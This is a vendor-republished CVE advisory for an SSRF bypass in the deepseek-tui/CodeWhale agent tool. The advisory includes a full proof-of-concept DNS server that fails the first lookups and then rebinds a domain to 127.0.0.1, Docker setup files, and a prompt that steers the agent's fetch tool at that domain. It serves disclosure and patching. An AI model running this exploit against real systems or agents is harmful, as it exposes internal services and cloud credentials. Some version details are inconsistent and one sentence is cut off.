CVE-2026-75856

CVE-2026-75856 is a critical-severity server-side request forgery (SSRF) vulnerability in deepseek-tui (rust), affecting versions >= 0.8.5, <= 0.8.41. It is fixed in 0.8.41, 0.8.64.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

CodeWhale: SSRF‌ bypass - TOCTOU on DNS failure for DNS pinning

Maintainer resolution

The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.

DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.

Details

Simplified attack scenario:

  1. Attacker asks agent to visit the mydomain.com.
  2. CodeWhale tries to resolve the IP of mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS‌ query as failed (Time of Check).
  3. CodeWhale allows the code to continue as it expects it request to fail again.
  4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)
  5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.

In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However

PoC

This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS‌ server(for PoC, should be placed in dnser/dns_resolver.py:

#!/usr/bin/env python3
"""
Local DNS Resolver, customizable request/response handling.
Uses only the standard library + dnslib.

Usage:
    pip install dnslib
    sudo python dns_resolver.py          # binds to 0.0.0.0:53 by default
    python dns_resolver.py --port 5353   # unprivileged port for testing
"""

import argparse
import socket
import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA


UPSTREAM_DNS = ("8.8.8.8", 53)   # fallback resolver


def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
    """Drop all AAAA requests."""
    if QTYPE[query.q.qtype] == "AAAA":
        reply = query.reply()
        reply.header.rcode = 3  # NXDOMAIN
        return reply
    return None

def handle_blocked(query: DNSRecord) -> DNSRecord | None:
    """Block domains by returning NXDOMAIN."""
    blocked = {"blocked.example.com.", "ads.tracker.io."}
    qname = str(query.q.qname)
    if qname in blocked:
        print(f"  [BLOCKED] {qname}")
        reply = query.reply()
        reply.header.rcode = 3          # NXDOMAIN
        return reply
    return None

failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2

def handle_overrides(query: DNSRecord) -> DNSRecord | None:
    global failer
    """Return hardcoded A records for specific names (split-horizon / local dev)."""
    overrides: dict[str, str] = {
        "myapp.local.":     "127.0.0.1",
        "devserver.local.": "192.168.1.100",
        "mydomain.com.":    "127.0.0.1",
    }
    qname = str(query.q.qname)
    qtype = QTYPE[query.q.qtype]

    if qname in overrides and qtype == "A":
        failer += 1
        cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle
        should_fail = cycle_pos < MAX_FAIL

        print(f"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")

        if should_fail:
            reply = query.reply()
            reply.header.rcode = 3
            reply.header.ra = 0
            return reply

        ip = overrides[qname]
        print(f"  [OVERRIDE] {qname} → {ip}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))
        reply.header.ra = 0
        return reply

    return None


def handle_rewrite(query: DNSRecord) -> DNSRecord | None:
    """Rewrite a CNAME transparently (resolve alias locally)."""
    rewrites: dict[str, str] = {
        # "old.internal.": "new.internal.",
    }
    qname = str(query.q.qname)
    if qname in rewrites:
        target = rewrites[qname]
        print(f"  [REWRITE] {qname} → {target}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))
        return reply
    return None


def handle_upstream(query: DNSRecord) -> DNSRecord | None:
    """Forward the query to the upstream resolver."""
    try:
        raw = query.pack()
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(3)
        sock.sendto(raw, UPSTREAM_DNS)
        data, _ = sock.recvfrom(4096)
        sock.close()
        reply = DNSRecord.parse(data)
        print(f"  [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}")
        return reply
    except Exception as e:
        print(f"  [UPSTREAM ERROR] {e}")
        return None


# Chain of responsibility, handlers are tried in order; first non-None wins.
HANDLERS = [
    handle_blocked,
    handle_overrides,
    handle_rewrite,
    handle_upstream,
]


# ─────────────────────────────────────────────────────────────────────────────
#  Server plumbing, no need to edit below this line
# ─────────────────────────────────────────────────────────────────────────────

def resolve(data: bytes) -> bytes:
    try:
        query = DNSRecord.parse(data)
        qname = str(query.q.qname)
        qtype = QTYPE[query.q.qtype]
        print(f"[QUERY] {qtype} {qname}")

        for handler in HANDLERS:
            reply = handler(query)
            if reply is not None:
                return reply.pack()

        # Fallback: SERVFAIL
        reply = query.reply()
        reply.header.rcode = 2
        return reply.pack()

    except Exception as e:
        print(f"[ERROR] Failed to parse/handle query: {e}")
        return b""


def udp_server(host: str, port: int) -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((host, port))
    print(f"DNS resolver listening on {host}:{port} (UDP)")
    while True:
        data, addr = sock.recvfrom(4096)
        threading.Thread(
            target=lambda d=data, a=addr: sock.sendto(resolve(d), a),
            daemon=True,
        ).start()


def tcp_server(host: str, port: int) -> None:
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((host, port))
    srv.listen(10)
    print(f"DNS resolver listening on {host}:{port} (TCP)")

    def handle_conn(conn: socket.socket) -> None:
        with conn:
            length_bytes = conn.recv(2)
            if len(length_bytes) < 2:
                return
            length = int.from_bytes(length_bytes, "big")
            data = conn.recv(length)
            response = resolve(data)
            conn.sendall(len(response).to_bytes(2, "big") + response)

    while True:
        conn, _ = srv.accept()
        threading.Thread(target=handle_conn, args=(conn,), daemon=True).start()


def main() -> None:
    parser = argparse.ArgumentParser(description="Local DNS resolver")
    parser.add_argument("--host", default="0.0.0.0", help="Bind address")
    parser.add_argument("--port", type=int, default=53, help="Bind port (use 5353 for unprivileged)")
    args = parser.parse_args()

    t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)
    t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)
    t_udp.start()
    t_tcp.start()

    try:
        t_udp.join()
    except KeyboardInterrupt:
        print("\nShutting down.")


if __name__ == "__main__":
    main()

Docker file to build it(dnser/Dockerfile):

FROM python:3.12-slim

WORKDIR /app

RUN pip install dnslib --no-cache-dir

COPY dns_resolver.py .

EXPOSE 53/udp
EXPOSE 53/tcp

CMD ["python", "-u", "dns_resolver.py", "--host", "0.0.0.0", "--port", "53"]

Then to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:

docker-compose.yml:

services:
  dns-resolver:
    build: dnser
    container_name: dns-resolver
    restart: unless-stopped
    networks:
      dns-net:
        ipv4_address: 10.0.1.2

  a:
    image: ghcr.io/hmbown/deepseek-tui:latest
    container_name: tui
    environment:
      DEEPSEEK_API_KEY: sk-
    stdin_open: true
    tty: true
    dns: 10.0.1.2
    networks:
      - dns-net
    depends_on:
      - dns-resolver
    sysctls:
      net.ipv6.conf.all.disable_ipv6: 1



networks:
  dns-net:
    driver: bridge
    ipam:
      config:
        - subnet: 10.0.1.0/24

Then to check everything we could simply:
sudo docker attach tui
Prompt: read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output
The tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran python3 -m http.server 80 as root to make sure the request can actually read content.

To read the logs from dns-resolver:
sudo docker logs -f dns-resolver

Impact

Similar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-75856 has a CVSS score of 8.6 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.41, 0.8.64); upgrading removes the vulnerable code path.

Affected versions

deepseek-tui (>= 0.8.5, <= 0.8.41) deepseek-tui (>= 0.8.5, < 0.8.41) codewhale-tui (>= 0.8.41, < 0.8.64) codewhale (>= 0.8.41, < 0.8.64)

Security releases

deepseek-tui → 0.8.41 (npm) codewhale-tui → 0.8.64 (rust) codewhale → 0.8.64 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

deepseek-tui to 0.8.41 or later; codewhale-tui to 0.8.64 or later; codewhale to 0.8.64 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-75856? CVE-2026-75856 is a critical-severity server-side request forgery (SSRF) vulnerability in deepseek-tui (rust), affecting versions >= 0.8.5, <= 0.8.41. It is fixed in 0.8.41, 0.8.64. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2026-75856? CVE-2026-75856 has a CVSS score of 8.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which packages are affected by CVE-2026-75856?
    • deepseek-tui (rust) (versions >= 0.8.5, <= 0.8.41)
    • codewhale-tui (rust) (versions >= 0.8.41, < 0.8.64)
    • codewhale (npm) (versions >= 0.8.41, < 0.8.64)
  4. Is there a fix for CVE-2026-75856? Yes. CVE-2026-75856 is fixed in 0.8.41, 0.8.64. Upgrade to this version or later.
  5. Is CVE-2026-75856 exploitable, and should I be worried? Whether CVE-2026-75856 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-75856 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-75856?
    • Upgrade deepseek-tui to 0.8.41 or later
    • Upgrade codewhale-tui to 0.8.64 or later
    • Upgrade codewhale to 0.8.64 or later

Stop the waste.
Protect your environment with Kodem.